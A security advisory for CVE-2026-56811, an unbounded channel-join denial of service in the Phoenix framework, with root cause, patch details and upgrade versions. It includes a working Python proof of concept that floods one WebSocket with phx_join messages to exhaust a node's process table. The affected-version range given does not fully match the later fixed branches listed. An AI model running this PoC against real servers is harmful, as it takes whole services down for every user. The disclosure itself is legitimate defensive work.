high · 7.5CVE-2026-56811Sep 3, 2026

CVE-2026-56811: Phoenix Unbounded Channel Join DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A single WebSocket or LongPoll connection to any Phoenix app can spawn hundreds of thousands of BEAM processes by flooding the socket with phx_join messages, crashing the entire node for all users.

Packagephoenix
Ecosystemerlang
Affected>= 0.11.0, < 1.5.15
Fixed in1.5.15
CVE-2026-56811: Phoenix Unbounded Channel Join DoS

The problem

Phoenix's Phoenix.Socket.handle_in/4 accepted phx_join messages without any cap on how many channel processes a single transport connection could create. Each join spawned a persistent, long-lived BEAM process.

One unauthenticated attacker, using a single WebSocket or LongPoll connection, could therefore exhaust the BEAM process table. Once full, the VM cannot start any new process, denying service to every user on the node. Because everything happens inside one connection, network-level connection limits and rate limiters offer no protection.

Proof of concept

A working proof-of-concept for CVE-2026-56811 in phoenix, with the exact payload below.

python
# Python PoC using the phxsocket client library (pip install phxsocket)
# One connection, tight loop of unique phx_join messages -> exhausts BEAM process table
import phxsocket

socket = phxsocket.Client("ws://target.example.com/socket/websocket", {})

if socket.connect():
    i = 0
    while True:
        # Each unique topic spawns a new persistent channel process on the server.
        # The server never checks how many channels this transport already has.
        channel = socket.channel(f"room:{i}", {})
        channel.join()
        i += 1
        # After enough iterations the BEAM process table fills up.
        # The node becomes unable to serve any new requests.

The root cause (CWE-770) sits in lib/phoenix/socket.ex at Elixir.Phoenix.Socket:handle_in/4. Before the patch, that function dispatched every incoming phx_join message to a new Phoenix.Channel.Server process with no counter or guard on how many channels the same transport connection had already opened.

The patch introduces a :max_channels_per_transport option (default 100). When the count of live channel processes for a transport reaches that limit, subsequent phx_join messages are rejected rather than spawned. This forces an attacker to open additional HTTP/WebSocket connections to continue the attack, exposing the amplification to connection-layer rate limiting and load-balancer controls.

The fix

Upgrade to Phoenix 1.5.15, 1.6.17, 1.7.24, or 1.8.9. All branches received the fix on 2026-07-07. To lower the per-connection process cap below the new default of 100, pass max_channels_per_transport: N in your endpoint socket configuration: socket "/socket", MySocket, websocket: [max_channels_per_transport: 50].

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research